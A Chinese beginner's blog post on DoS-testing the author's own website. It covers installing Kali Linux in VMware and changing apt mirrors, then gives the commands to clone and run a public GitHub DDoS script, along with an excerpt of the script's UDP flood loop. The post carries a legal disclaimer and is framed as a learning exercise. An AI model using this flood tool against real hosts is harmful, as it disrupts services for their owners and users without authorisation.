对自己的博客网站进行DOS攻击
先说明一点,别对别人的网站进行ddos/dos攻击(dos攻击一般短时间攻击不下来),这是违法的,很多都有自动报警机制,本篇博客仅用于学习,请勿用于非法用途
安装kaili Linux
进入KALI官网,下载iso镜像文件
vmware新建虚拟机,选择自定义
点击下一步
点击下一步
点击下一步
选择稍后安装操作系统,点击下一步
选择Debian系统,版本根据自己的kali版本来,我这里就选最新的Debian12,点击下一步
虚拟机名称和存储位置根据自己情况来,点击下一步
处理器配置根据自己电脑的配置来,点击下一步
内存也是根据自己的使用情况来,点击下一步
点击下一步
点击下一步
点击下一步
点击下一步
点击下一步
点击下一步
点击自定义硬件
导入下载好的ISO文件,关闭后点击完成即可
剩下启动后的配置就比较简单了,根据自己情况来即可
安装完成后打开是这样的:
换源+更新
进入root权限
shell
sudo su
输入密码后,换源
shell
sudo vim /etc/apt/sources.list
部分国内源:
shell
官方源
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib
中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
清华大学
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
浙大
deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
东软大学
deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
重庆大学
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib
自己选一个换上就行,然后进行更新:
shell
sudo apt-get update
DOS攻击
未被攻击前访问我的网站是这样的:
下载Dos数据包
shell
git clone https://github.com/Andysun06/ddos
进入ddos文件夹
shell
cd ddos
执行python脚本
shell
python ddos-p3.py
下面这两张用的是别人的图,不想打码了(雾
反正我攻击了大概8分钟,网站还是可以正常访问的,由于阿里云服务器有一定量的免费的cdn防护,我个人进行DOS攻击至少需要一小时才能耗完.这次只是实验一下,所以就不继续了.
我们可以看到受到攻击后服务器的带宽是有被大量消耗的,说明我们的攻击是有效的.
代码分析
去作者的github上把代码拉下来,看看是怎么写的:
python
os.system("clear")
os.system("figlet DDos Attack")
ip = input("请输入 IP : ")
port = int(input("攻击端口 : "))
sd = int(input("攻击速度(1~1000) : "))
os.system("clear")
sent = 0
while True:
sock.sendto(bytes, (ip,port))
sent = sent + 1
print ("已发送 %s 个数据包到 %s 端口 %d"%(sent,ip,port))
time.sleep((1000-sd)/2000)
核心代码就这么几行,其实就是不断向指定IP的端口发送数据包,然后打印发送数据包的个数.
本人也是初入安全的小白,有什么不对的地方欢迎在评论区指出